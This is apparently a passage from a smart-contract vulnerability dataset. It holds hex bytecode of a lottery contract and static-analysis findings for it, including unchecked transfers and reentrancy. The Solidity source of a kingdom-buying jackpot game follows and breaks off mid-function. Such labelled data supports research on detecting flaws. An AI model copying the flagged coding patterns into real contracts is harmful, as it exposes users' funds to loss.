ffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa0405ed62da771dea9ae1687143e1531af81ade5b749bf58c02d871b22a6f4e3338483604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b60185481565b6007818154811061119157fe5b906000526020600020016000915090505481565b60045481565b600281815481106111b857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f74205553444300000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113df57600080fd5b505af11580156113f3573d6000803e3d6000fd5b505050506040513d602081101561140957600080fd5b810190808051906020019092919050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600a600280549050101561155f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f41746c65617374203130207061727469636970616e747300000000000000000081525060200191505060405180910390fd5b603260045410156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4d696e696d756d203530207469636b65747320736f6c6400000000000000000081525060200191505060405180910390fd5b6018546019541415611652576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5570646174652072616e646f6d206e756d62657220666972737421000000000081525060200191505060405180910390fd5b6000806000806000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116e357600080fd5b505afa1580156116f7573d6000803e3d6000fd5b505050506040513d602081101561170d57600080fd5b81019080805190602001909291905050509050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166064600a5485028161178f57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b505050506040513d602081101561180d57600080fd5b8101908080519060200190929190505050506064600a5482028161182d57fe5b04810390505b600a851015611a5f576118526004546018548161184c57fe5b06612693565b9350601a600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506006839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506007600454601854816118fc57fe5b069080600181540180825580915050600190039060005260206000200160009091909190915055601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb846103e8600b89600a811061197257fe5b015485028161197d57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119d157600080fd5b505af11580156119e5573d6000803e3d6000fd5b505050506040513d60208110156119fb57600080fd5b810190808051906020019092919050505050848060010195505060185442866040516020018084815260200183815260200182815260200193505050506040516020818303038152906040528051906020012060001c915081601881905550611833565b7f68c0730041167410e1efc0fa1abec7e3a8220c8803db9accd8506119cb95fc23600660076040518080602001806020018381038352858181548152602001915080548015611b0357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611ab9575b50508381038252848181548152602001915080548015611b4257602002820191906000526020600020905b815481526020019060010190808311611b2e575b505094505050505060405180910390a16018546019819055506000600481905550600067ffffffffffffffff81118015611b7b57600080fd5b50604051908082528060200260200182016040528015611baa5781602001602082028036833780820191505090505b5060019080519060200190611bc0929190612c80565b50600067ffffffffffffffff81118015611bd957600080fd5b50604051908082528060200260200182016040528015611c085781602001602082028036833780820191505090505b5060029080519060200190611c1e929190612ccd565b506005600081548092919060010191905055505050505050565b600b81600a8110611c4557fe5b016000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611de0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e7157600080fd5b505af1158015611e85573d6000803e3d6000fd5b505050506040513d6020811015611e9b57600080fd5b8101908080519060200190929190505050611f1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f556e61626c6520746f207472616e73666572000000000000000000000000000081525060200191505060405180910390fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600a8190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900460ff16908060010154908060020160009054906101000a900460ff16905083565b7f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0081525060200191505060405180910390fd5b6121638282612878565b5050565b600a5481565b6006818154811061217a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612274576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6017547f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122fe57600080fd5b505afa158015612312573d6000803e3d6000fd5b505050506040513d602081101561232857600080fd5b81019080805190602001909291905050501161238f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612db0602b913960400191505060405180910390fd5b600067ffffffffffffffff811180156123a757600080fd5b506040519080825280602002602001820160405280156123d65781602001602082028036833780820191505090505b50600690805190602001906123ec929190612ccd565b50600067ffffffffffffffff8111801561240557600080fd5b506040519080825280602002602001820160405280156124345781602001602082028036833780820191505090505b506007908051906020019061244a929190612c80565b5061246160165460175461245c6128c4565b612966565b905090565b60195481565b60006004546064601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015402816124d157fe5b04905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461259a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080821161267b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848161268657fe5b0490508091505092915050565b600080600180549050905060008060016000815481106126af57fe5b906000526020600020015485116126e35760016000815481106126ce57fe5b90600052602060002001549350505050612873565b6001808403815481106126f257fe5b906000526020600020015485106127275760018084038154811061271257fe5b90600052602060002001549350505050612873565b5b828210156128555760028383018161273c57fe5b049050846001828154811061274d57fe5b90600052602060002001541415612780576001818154811061276b57fe5b90600052602060002001549350505050612873565b6001818154811061278d57fe5b90600052602060002001548510156127f8576000811180156127c757506001808203815481106127b957fe5b906000526020600020015485115b156127f0576001808203815481106127db57fe5b90600052602060002001549350505050612873565b809250612850565b6001830381108015612822575060018082018154811061281457fe5b906000526020600020015485105b15612849576001818154811061283457fe5b90600052602060002001549350505050612873565b6001810191505b612728565b6001818154811061286257fe5b906000526020600020015493505050505b919050565b806018819055507fdd1082c62fe2408b97a7320555bd4a2a42f6c8f8771c418c23cf79185279fe4c82601854604051808381526020018281526020019250505060405180910390a15050565b60004442600260405160200180848152602001838152602001828054801561294157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116128f7575b505093505050506040516020818303038152906040528051906020012060001c905090565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff16634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795285878660405160200180838152602001828152602001925050506040516020818303038152906040526040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612a5f578082015181840152602081019050612a44565b50505050905090810190601f168015612a8c5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015612aad57600080fd5b505af1158015612ac1573d6000803e3d6000fd5b505050506040513d6020811015612ad757600080fd5b8101908080519060200190929190505050506000612b098584306000808a815260200190815260200160002054612b5b565b9050612b31600160008088815260200190815260200160002054612bbf90919063ffffffff16565b60008087815260200190815260200160002081905550612b518582612c47565b9150509392505050565b600084848484604051602001808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019450505050506040516020818303038152906040528051906020012060001c9050949350505050565b600080828401905083811015612c3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120905092915050565b828054828255906000526020600020908101928215612cbc579160200282015b82811115612cbb578251825591602001919060010190612ca0565b5b509050612cc99190612d57565b5090565b828054828255906000526020600020908101928215612d46579160200282015b82811115612d455782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612ced565b5b509050612d539190612d74565b5090565b5b80821115612d70576000816000905550600101612d58565b5090565b5b80821115612dab57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612d75565b509056fe4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e7472616374207769746820666175636574a2646970667358221220a2b6ec3697933111d3d4f2653724afacf5702e1734c9f08a0df04df443334df764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,174 |
0x8cb08d6379e79aa4b84a809bcf55ba5a00407e93
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function resetTimer(string _kingdomKey);
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
uint date;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
// struct RoundPoints {
// mapping(address => uint) points;
// }
struct Round {
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
mapping(address => uint) scores;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
mapping(address => uint) lastTransaction;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.03 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 20;
// MODIFIERS
modifier checkKingdomCap(address _owner, uint _kingdomType) {
if (_kingdomType == 1) {
require((rounds[currentRound].nbKingdomsType1[_owner] + 1) < 9);
} else if (_kingdomType == 2) {
require((rounds[currentRound].nbKingdomsType2[_owner] + 1) < 9);
} else if (_kingdomType == 3) {
require((rounds[currentRound].nbKingdomsType3[_owner] + 1) < 9);
} else if (_kingdomType == 4) {
require((rounds[currentRound].nbKingdomsType4[_owner] + 1) < 9);
} else if (_kingdomType == 5) {
require((rounds[currentRound].nbKingdomsType5[_owner] + 1) < 9);
}
_;
}
modifier checkKingdomCreated(string _key) {
require(rounds[currentRound].kingdomsCreated[_key] == false);
_;
}
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// ERC20
address public woodAddress;
ERC20Basic woodInterface;
// ERC20Basic rock;
// ERC20Basic
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress, address _woodAddress, uint _startTime, uint _endTime) {
bookerAddress = _bookerAddress;
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _endTime;
}
function () { }
function setWoodAddress (address _woodAddress) public onlyOwner {
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
}
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 10; i++) {
if (now < rounds[currentRound].startTime + (i * 12 hours)) {
uint result = (10 * i);
if (result > 100) {
return 100;
} else {
return result;
}
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked, address affiliate) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if(affiliate != address(0)) {
uint affiliateValue = jackpotCommission.mul(10).div(100);
asyncSend(affiliate, affiliateValue);
jackpotCommission = jackpotCommission.sub(affiliateValue);
}
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
// woodInterface.resetTimer(_key);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
kingdom.minimumPrice = 5 ether;
} else if (kingdom.kingdomTier == 2) {
kingdom.returnPrice = 0.1125 ether;
kingdom.minimumPrice = 0.27 ether;
} else if (kingdom.kingdomTier == 3) {
kingdom.returnPrice = 0.3375 ether;
kingdom.minimumPrice = 0.81 ether;
} else if (kingdom.kingdomTier == 4) {
kingdom.returnPrice = 1.0125 ether;
kingdom.minimumPrice = 2.43 ether;
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotCommission, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
lastTransaction[msg.sender] = now;
setNewJackpot(kingdom.kingdomType, jackpotCommission, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
function giveKingdom(address owner, string _key, string _title, uint _type) onlyOwner() public {
require(_type > 0);
require(_type < 6);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, 0.02 ether, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = 0.03 ether;
kingdoms[kingdomId].locked = false;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, 0.01 ether, 0, 0, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
}
function sendAffiliateValue(uint basePrice, address affiliate) internal returns (uint jackpotValue) {
uint result = basePrice;
if(affiliate != address(0)) {
asyncSend(affiliate, 0.003 ether);
result = basePrice - (0.003 ether);
}
return result;
}
//
// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(string _key, string _title, uint _type, address affiliate, bool _locked) checkKingdomCap(msg.sender, _type) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
uint refundPrice = 0.0375 ether; // (STARTING_CLAIM_PRICE_WEI.mul(125)).div(100);
uint nextMinimumPrice = 0.09 ether; // STARTING_CLAIM_PRICE_WEI.add(STARTING_CLAIM_PRICE_WEI.mul(2));
uint kingdomId = kingdoms.push(Kingdom("", "", 1, 0, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].kingdomType = _type;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = msg.sender;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
if(_locked == true) {
asyncSend(bookerAddress, ACTION_TAX);
}
uint transactionId = createTransaction(_type, msg.sender, msg.value, basePrice, affiliate);
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
LandCreatedEvent(_key, msg.sender);
}
function createTransaction(uint _type, address _sender, uint _value, uint _basePrice, address _affiliate) internal returns (uint id) {
uint jackpotValue = sendAffiliateValue(_basePrice, _affiliate);
uint transactionId = kingdomTransactions.push(Transaction("", _sender, _value, 0, jackpotValue, now)) - 1;
lastTransaction[_sender] = now;
setNewJackpot(_type, jackpotValue, msg.sender);
return transactionId;
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot1() internal checkIsClosed() {
address winner = getWinner(1);
if (rounds[currentRound].jackpot1.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot1.balance);
rounds[currentRound].jackpot1.winner = winner;
uint teamComission = (rounds[currentRound].jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot1.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot1.balance = 0;
}
}
function payJackpot2() internal checkIsClosed() {
address winner = getWinner(2);
if (rounds[currentRound].jackpot2.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot2.balance);
rounds[currentRound].jackpot2.winner = winner;
uint teamComission = (rounds[currentRound].jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot2.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot2.balance = 0;
}
}
function payJackpot3() internal checkIsClosed() {
address winner = getWinner(3);
if (rounds[currentRound].jackpot3.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot3.balance);
rounds[currentRound].jackpot3.winner = winner;
uint teamComission = (rounds[currentRound].jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot3.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot3.balance = 0;
}
}
function payJackpot4() internal checkIsClosed() {
address winner = getWinner(4);
if (rounds[currentRound].jackpot4.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot4.balance);
rounds[currentRound].jackpot4.winner = winner;
uint teamComission = (rounds[currentRound].jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot4.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot4.balance = 0;
}
}
function payJackpot5() internal checkIsClosed() {
address winner = getWinner(5);
if (rounds[currentRound].jackpot5.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot5.balance);
rounds[currentRound].jackpot5.winner = winner;
uint teamComission = (rounds[currentRound].jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot5.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot5.balance = 0;
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound(uint _startTime) public checkIsClosed() {
payJackpot1();
payJackpot2();
payJackpot3();
payJackpot4();
payJackpot5();
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
// GETTER AND SETTER FUNCTIONS
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getJackpot(uint _nb) public view returns (address winner, uint balance) {
if (_nb == 1) {
return (getWinner(1), rounds[currentRound].jackpot1.balance);
} else if (_nb == 2) {
return (getWinner(2), rounds[currentRound].jackpot2.balance);
} else if (_nb == 3) {
return (getWinner(3), rounds[currentRound].jackpot3.balance);
} else if (_nb == 4) {
return (getWinner(4), rounds[currentRound].jackpot4.balance);
} else if (_nb == 5) {
